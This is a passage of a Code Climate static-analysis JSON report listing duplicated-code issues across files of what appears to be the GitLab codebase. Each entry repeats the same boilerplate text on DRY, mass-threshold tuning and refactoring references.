want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ee8707c802bad394fc157d1bd785ea38","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"rubocop/cop/code_reuse/serializer.rb","lines":{"begin":5,"end":36}},"remediation_points":770000,"other_locations":[{"path":"rubocop/cop/code_reuse/presenter.rb","lines":{"begin":5,"end":36}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 56**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"999d054331f9bf60e9fac34f362dfa33","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":363,"end":376}},"remediation_points":730000,"other_locations":[{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":217,"end":230}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6d5fdcb9f4e92bdc8de77ce0d327e38d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/gitaly_client/ref_service.rb","lines":{"begin":217,"end":230}},"remediation_points":730000,"other_locations":[{"path":"lib/gitlab/gitaly_client/commit_service.rb","lines":{"begin":363,"end":376}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 54**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b9094b2f402bdf758fbd32cced243c48","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":143,"end":151}},"remediation_points":170000,"other_locations":[{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":199,"end":207}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9cdba14c6ea64993cb19a2d65e8cf92c","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/models/project_services/kubernetes_service.rb","lines":{"begin":199,"end":207}},"remediation_points":170000,"other_locations":[{"path":"app/models/clusters/platforms/kubernetes.rb","lines":{"begin":143,"end":151}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"a53ce766f9ff3869e29a216c2dd49425","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/users_controller.rb","lines":{"begin":37,"end":46}},"remediation_points":150000,"other_locations":[{"path":"app/controllers/users_controller.rb","lines":{"begin":50,"end":59}},{"path":"app/controllers/users_controller.rb","lines":{"begin":63,"end":72}},{"path":"app/controllers/users_controller.rb","lines":{"begin":76,"end":85}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7de6970da5143bb219d1d73c65245a18","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/users_controller.rb","lines":{"begin":50,"end":59}},"remediation_points":150000,"other_locations":[{"path":"app/controllers/users_controller.rb","lines":{"begin":37,"end":46}},{"path":"app/controllers/users_controller.rb","lines":{"begin":63,"end":72}},{"path":"app/controllers/users_controller.rb","lines":{"begin":76,"end":85}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7de6970da5143bb219d1d73c65245a18","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/users_controller.rb","lines":{"begin":63,"end":72}},"remediation_points":150000,"other_locations":[{"path":"app/controllers/users_controller.rb","lines":{"begin":37,"end":46}},{"path":"app/controllers/users_controller.rb","lines":{"begin":50,"end":59}},{"path":"app/controllers/users_controller.rb","lines":{"begin":76,"end":85}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7de6970da5143bb219d1d73c65245a18","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 4 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/controllers/users_controller.rb","lines":{"begin":76,"end":85}},"remediation_points":150000,"other_locations":[{"path":"app/controllers/users_controller.rb","lines":{"begin":37,"end":46}},{"path":"app/controllers/users_controller.rb","lines":{"begin":50,"end":59}},{"path":"app/controllers/users_controller.rb","lines":{"begin":63,"end":72}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"7de6970da5143bb219d1d73c65245a18","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/serializers/note_entity.rb","lines":{"begin":67,"end":68}},"remediation_points":150000,"other_locations":[{"path":"app/serializers/project_note_entity.rb","lines":{"begin":20,"end":21}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"3177b0cd54cd809575f1d61e0a65ac25","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/serializers/project_note_entity.rb","lines":{"begin":20,"end":21}},"remediation_points":150000,"other_locations":[{"path":"app/serializers/note_entity.rb","lines":{"begin":67,"end":68}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"bc28db1513fbf8f22f0e63c12ccb87bb","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/project_hooks.rb","lines":{"begin":66,"end":69}},"remediation_points":150000,"other_locations":[{"path":"lib/api/project_hooks.rb","lines":{"begin":88,"end":91}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"cd274943b0a85d56266ca30e0dc9e6ce","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/project_hooks.rb","lines":{"begin":88,"end":91}},"remediation_points":150000,"other_locations":[{"path":"lib/api/project_hooks.rb","lines":{"begin":66,"end":69}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your 